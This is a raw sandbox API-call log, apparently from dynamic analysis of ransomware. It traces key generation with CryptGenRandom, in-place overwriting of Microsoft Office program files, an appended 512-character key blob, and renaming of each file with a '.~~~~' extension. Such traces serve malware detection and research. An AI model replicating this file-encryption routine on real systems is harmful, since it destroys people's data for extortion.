	[0133.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.409] GetLastError () returned 0x0
	[0133.410] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.411] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.411] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.411] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25340113509) returned 1
	[0133.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8f64f70, dwHighDateTime=0x1d60e1e)) 
	[0133.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28242b8
	[0133.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28242b8 | out: hHeap=0x300000) returned 1
	[0133.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.412] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.412] GetLastError () returned 0x0
	[0133.412] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.412] GetLastError () returned 0x0
	[0133.414] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.414] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xde, lpOverlapped=0x0) returned 1
	[0133.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.417] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.417] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.417] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.417] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.418] CloseHandle (hObject=0xc4) returned 1
	[0133.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x28a72a0
	[0133.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif.~~~~")) returned 1
	[0133.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a72a0 | out: hHeap=0x300000) returned 1
	[0133.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.498] GetLastError () returned 0x0
	[0133.498] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.499] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.499] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.500] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25348989455) returned 1
	[0133.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb90497b0, dwHighDateTime=0x1d60e1e)) 
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28244e8
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28244e8 | out: hHeap=0x300000) returned 1
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0133.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.501] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.501] GetLastError () returned 0x0
	[0133.501] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.501] GetLastError () returned 0x0
	[0133.502] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.502] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xda, lpOverlapped=0x0) returned 1
	[0133.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.506] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.506] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.506] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.506] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.506] CloseHandle (hObject=0xc4) returned 1
	[0133.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0133.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.~~~~")) returned 1
	[0133.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ab8 | out: hHeap=0x300000) returned 1
	[0133.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.509] GetLastError () returned 0x0
	[0133.510] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.511] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.511] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.511] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25350104524) returned 1
	[0133.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb90497b0, dwHighDateTime=0x1d60e1e)) 
	[0133.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824520
	[0133.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824520 | out: hHeap=0x300000) returned 1
	[0133.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7b48
	[0133.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.512] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.512] GetLastError () returned 0x0
	[0133.512] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.513] GetLastError () returned 0x0
	[0133.514] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.514] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x6f, lpOverlapped=0x0) returned 1
	[0133.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.517] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.517] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.517] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.517] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.517] CloseHandle (hObject=0xc4) returned 1
	[0133.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0133.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.~~~~")) returned 1
	[0133.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.519] GetLastError () returned 0x0
	[0133.520] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.521] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.521] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.521] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25351150807) returned 1
	[0133.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb906f910, dwHighDateTime=0x1d60e1e)) 
	[0133.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824558
	[0133.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824558 | out: hHeap=0x300000) returned 1
	[0133.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8988
	[0133.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.522] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.522] GetLastError () returned 0x0
	[0133.523] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.523] GetLastError () returned 0x0
	[0133.524] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff92, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.524] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x6e, lpOverlapped=0x0) returned 1
	[0133.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.526] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.526] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.526] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.526] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.526] CloseHandle (hObject=0xc4) returned 1
	[0133.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0133.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.~~~~")) returned 1
	[0133.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.528] GetLastError () returned 0x0
	[0133.561] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x29085c0) returned 1
	[0133.579] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.579] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0133.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.579] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25356950931) returned 1
	[0133.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9107e90, dwHighDateTime=0x1d60e1e)) 
	[0133.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824670
	[0133.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824670 | out: hHeap=0x300000) returned 1
	[0133.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.580] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.580] GetLastError () returned 0x0
	[0133.581] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.581] GetLastError () returned 0x0
	[0133.583] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff7298, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.583] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x8d68, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x8d68, lpOverlapped=0x0) returned 1
	[0133.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.586] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.586] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.586] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.586] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.586] CloseHandle (hObject=0x104) returned 1
	[0133.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.~~~~")) returned 1
	[0133.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8690 | out: hHeap=0x300000) returned 1
